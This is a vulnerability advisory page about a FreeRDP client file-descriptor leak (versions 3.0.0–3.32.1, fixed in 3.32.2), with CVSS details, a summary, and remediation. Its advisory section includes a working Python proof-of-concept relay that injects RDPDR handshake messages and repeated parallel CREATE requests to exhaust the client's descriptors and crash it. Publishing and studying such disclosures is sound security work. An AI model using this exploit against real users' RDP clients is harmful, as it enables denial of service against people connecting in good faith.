Read the docs

Descriptor leak in FreeRDP client lets a hostile server exhaust it

Priority LOW 35CWE-772Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
Required
Attack complexity
Low
Impact type
Denial of service
Confidentiality · integrity · availability
None · None · Low
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-8g9g-hqqp-fw69. Fix status from GitHub. Impact type from CWE-772.

Summary

FreeRDP from 3.0.0 up to and including 3.32.1 leaks a file descriptor on each repeated parallel device CREATE request from an RDP server when parallel redirection is enabled. The flaw is a missing release of a resource (CWE-772), because the previous descriptor is replaced without being closed. A user who connects to a hostile RDP server can make the client exhaust its descriptor limit, which causes failed opens and a later client crash.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

### Summary When a FreeRDP client connects to a hostile RDP server with parallel-device redirection explicitly enabled, the server can repeatedly send `IRP_MJ_CREATE` requests for the announced parallel device. `parallel_process_irp_create` opens the configured local parallel path each time and replaces the descriptor saved in `parallel->file` without closing the previous descriptor or rejecting a second open. Each successful request therefore leaks one descriptor. On a client with a finite descriptor limit, repeated requests exhaust the process descriptor table and prevent the client from opening descriptors needed for other work. A local relay test completed the RDPDR handshake, observed device ID 1, received successful responses for 200 CREATE requests, and measured descriptor growth from approximately 50 to 250. Under `ulimit -n 128`, the first open failure occurred at CREATE 98; under `ulimit -n 1024`, it occurred at CREATE 994. In each constrained run the client later segfaulted. A no-CREATE control at the same 128-descriptor limit remained alive for the full observation interval. The observed crash backtrace enters `winpr_SubmitThreadpoolWork` and `rfx_process_message` after a `ResetEvent` error; the evidence supports descriptor-exhaustion-induced client availability loss, not a direct memory-corruption primitive or code execution. ### Details The required setup is a user-initiated connection to the attacker's RDP server and explicit client-side parallel redirection to a path that can be opened. The finding does not describe an RDP authentication bypass, TLS break, session theft, or exposure when parallel redirection is disabled. The crash was observed with a FreeRDP 3.32.1-dev0 client built with `WITH_VERBOSE_WINPR_ASSERT=ON`; the descriptor leak and open failures were observed before the downstream crash. Impact beyond the tested Linux client process and its finite descriptor limit was not measured. ### Proof of concept The tested relay source follows. It forwards a local plaintext RDP connection and, after the normal channel-join exchange, sends the minimal RDPDR device announcement handshake and repeated CREATE IRPs on the RDPDR virtual channel. ```python #!/usr/bin/env python3 """Local plaintext RDPDR handshake probe for FreeRDP parallel CREATE.""" import argparse import socket import struct import threading import time def virtual_packet(payload, channel=1004): vc = struct.pack("<II", len(payload), 3) + payload mcs = b"\x68" + struct.pack("!HHB", 8, channel, 0x70) + struct.pack("<H", 0x8000 | len(vc)) + vc tpdu = b"\x02\xf0\x80" + mcs return b"\x03\x00" + struct.pack("<H", len(tpdu) + 4) + tpdu def handshake(): ctyp = b"\x72\x44" version = struct.pack("<HHI", 1, 12, 0x12345678) announce = ctyp + struct.pack("<H", 0x496E) + version general = struct.pack("<HHI", 1, 44, 2) + struct.pack("<IIHHIIIII", 0, 0, 1, 12, 0xFFFF, 0, 6, 0, 0) + struct.pack("<I", 0) cap = ctyp + struct.pack("<HHH", 0x5350, 1, 0) + general confirm = ctyp + struct.pack("<H", 0x4343) + version logged_on = ctyp + struct.pack("<H", 0x554C) return (announce, cap, confirm, logged_on) def create_irp(completion_id): return (b"\x72\x44" + struct.pack("<H", 0x4952) + struct.pack("<IIIII", 1, 0, completion_id, 0, 0) + b"\0" * 28 + struct.pack("<I", 4) + b"A\0\0\0") def main(): p = argparse.ArgumentParser() p.add_argument("--listen", type=int, default=38351) p.add_argument("--upstream", type=int, default=38350) p.add_argument("--creates", type=int, default=0) a = p.parse_args() ls = socket.socket() ls.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) ls.bind(("127.0.0.1", a.listen)); ls.listen(1) print("LISTEN", a.listen, flush=True) client, addr = ls.accept() server = socket.create_connection(("127.0.0.1", a.upstream)) print("ACCEPT", addr, flush=True) def c2s(): buf = b"" while data := client.recv(65536): server.sendall(data) buf += data while len(buf) >= 4 and buf[0] == 3: length = int.from_bytes(buf[2:4], "big") if len(buf) < length: break frame, buf = buf[:length], buf[length:] if length >= 18 and frame[7] in (0x64, 0x68): print("CLIENT_MCS", length, frame[10:12].hex(), frame[15:47].hex(), flush=True) if buf and buf[0] != 3: buf = b"" try: server.shutdown(socket.SHUT_WR) except OSError: pass def s2c(): buf = b""; injected = False while data := server.recv(65536): buf += data while len(buf) >= 2: if buf[0] == 3: if len(buf) < 4: break length = int.from_bytes(buf[2:4], "big") elif buf[1] & 0x80: if len(buf) < 3: break length = ((buf[1] & 127) << 8) | buf[2] else: length = buf[1] if length < 2 or len(buf) < length: break frame, buf = buf[:length], buf[length:] client.sendall(frame) if not injected and frame[0] == 3 and length > 500 and frame[10:12] == b"\x03\xef": for msg in handshake(): pkt = virtual_packet(msg) client.sendall(pkt) print("INJECTED_HANDSHAKE", msg[:4].hex(), len(pkt), flush=True) time.sleep(.18) time.sleep(.25) for completion_id in range(1, a.creates + 1): client.sendall(virtual_packet(create_irp(completion_id))) if completion_id in (1, 10, 50, 100, a.creates): print("INJECTED_CREATE", completion_id, flush=True) time.sleep(.004) injected = True print("S2C_DONE", injected, flush=True) t1 = threading.Thread(target=c2s) t2 = threading.Thread(target=s2c) t1.start(); t2.start(); t1.join(); t2.join() if __name__ == "__main__": main() ``` Run only against a disposable local FreeRDP server and client. Start the server listening on `127.0.0.1:38350`; start the relay and connect the client to its port with parallel redirection enabled and a valid local target path. To reproduce the bounded exhaustion run, set the client process limit to 128 and pass `--creates 160`; use `--creates 200` without the reduced limit to observe linear growth without forcing exhaustion. The relay command is: ```sh python3 parallel524_probe.py --listen 38351 --upstream 38350 --creates 160 ``` The client command depends on local authentication and the built FreeRDP binary. Its essential options are a connection to `127.0.0.1:38351` and `/parallel:PRN,/dev/null`, under `ulimit -n 128`. Do not point the test at a production server or a path with valuable data. The script defaults to zero CREATE requests unless `--creates` is supplied. ### Impact The observed crash backtrace enters `winpr_SubmitThreadpoolWork` and `rfx_process_message` after a `ResetEvent` error; the evidence supports descriptor-exhaustion-induced client availability loss, not a direct memory-corruption primitive or code execution. `AV:N` and `AC:L` describe the hostile session server sending valid repeated channel requests after the session is established. `UI:R` captures the user's decision to connect to that server with the feature enabled. Confidentiality and integrity are not affected. `A:H` is scoped to loss of the FreeRDP client process's availability after a low finite descriptor limit is exhausted; the client segfault was reproduced, while host-wide availability impact was not. The score therefore does not claim code execution or a system-wide outage.

Why it matters now

Fix Fixed FreeRDP (c/c++): 3.32.2

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c/c++)>= 3.0.0, <= 3.32.13.32.2Patch availableGHSA-8g9g-hqqp-fw69
  • FreeRDP (c/c++) Vendor— Affected >= 3.0.0, <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-8g9g-hqqp-fw69

Remediation

Update FreeRDP to version 3.32.2, which fixes the flaw.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-8g9g-hqqp-fw69 FreeRDP (c/c++) Fixed in 3.32.2 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-8g9g-hqqp-fw69

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences